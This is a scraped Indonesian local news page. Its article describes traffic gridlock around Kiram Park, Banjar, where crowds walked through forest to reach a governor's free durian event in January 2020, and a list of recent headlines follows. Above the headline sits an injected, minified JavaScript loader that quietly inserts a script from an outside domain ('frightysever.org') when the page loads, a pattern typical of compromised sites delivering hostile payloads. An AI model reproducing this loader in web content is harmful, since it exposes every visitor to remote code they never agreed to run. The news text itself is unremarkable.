(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jalan Macet Total ke Kiram Park, Pilih Jalan Kaki Susuri Hutan Demi Durian Gratis


KANALKALIMANTAN.COM, MARTAPURA – Perhelatan acara makan buah durian gratis bersama Gubernur Kalimantan Selatan H Sahbirin Noor atau akrab disapa Paman Birin, begitu menarik perhatian masyarakat. Sayangnya, ratusan masyarakat justru harus berjuang keras untuk datang ke lokasi acara yang digelar di kawasan wisata Kiram Park, Kabupaten Banjar, Sabtu (18/1/2020) siang.

Dari pantauan Kanalkalimantan.com, arus jalan  menuju Kiram Park mengalami macet total. Kemacetan terjadi dari jarak 3 sampai 5 kilometer dari lokasi Kiram Park. Titik macet terparah, berada di pertigaan antara jalan Gunung Kupang, Mandiangin, dan jalan menuju Kiram Park.

Pun, akses jalan yang seharusnya dua arah, malah beralih menjadi satu arah lantaran volume kendaraan yang terus menerus memadati jalan menuju Kiram Park. Walhasil, banyak masyarakat yang terlambat dan tidak kebagaian jatah untuk mencicipi buah durian gratis yang diselenggarakan Pemerintah Provinsi Kalsel sejak pukul 10.00 Wita tersebut.

 

Fakta ini dirasakan langsung Kanalkalimantan.com, saat memutuskan untuk meneruskan perjalanan dengan berjalan kaki. Begitu juga dengan masyarakat yang sudah tidak sanggup meladeni macet di cuaca yang panas terik. Mereka lebih memilih memarkir motor dan mobil di pinggir jalan maupun lahan kosong yang bisa digunakan. Tidak sedikit juga ada yang memutuskan untuk balik arah atau membatalkan rencana untuk ke acara makan buah durian gratis.

Ratih (45) yang datang bersama suami dan dua anaknya, mengaku memilih berjalan kaki dengan jarak 3 km, ketimbang menunggu di dalam mobil.

“Nunggu itu cape, mas. Mending kami jalan,” akunya.

Meski sudah berjalan kaki, nyatanya masyarakat juga harus berdesak-desakan dengan kendaraan mobil maupun motor karena lebar jalan yang tidak terlalu besar. Tidak pikir panjang dengan kondisi ini, maka area hutan maupun perkebunan akhirnya menjadi jalan yang dipilih para pejalan kaki untuk disusuri. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

15 menit ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

28 menit ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

37 menit ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

47 menit ago

Ritual Laluhan dan Ngarunya Lengkapi Perayaan HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More

51 menit ago

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

3 jam ago

This website uses cookies.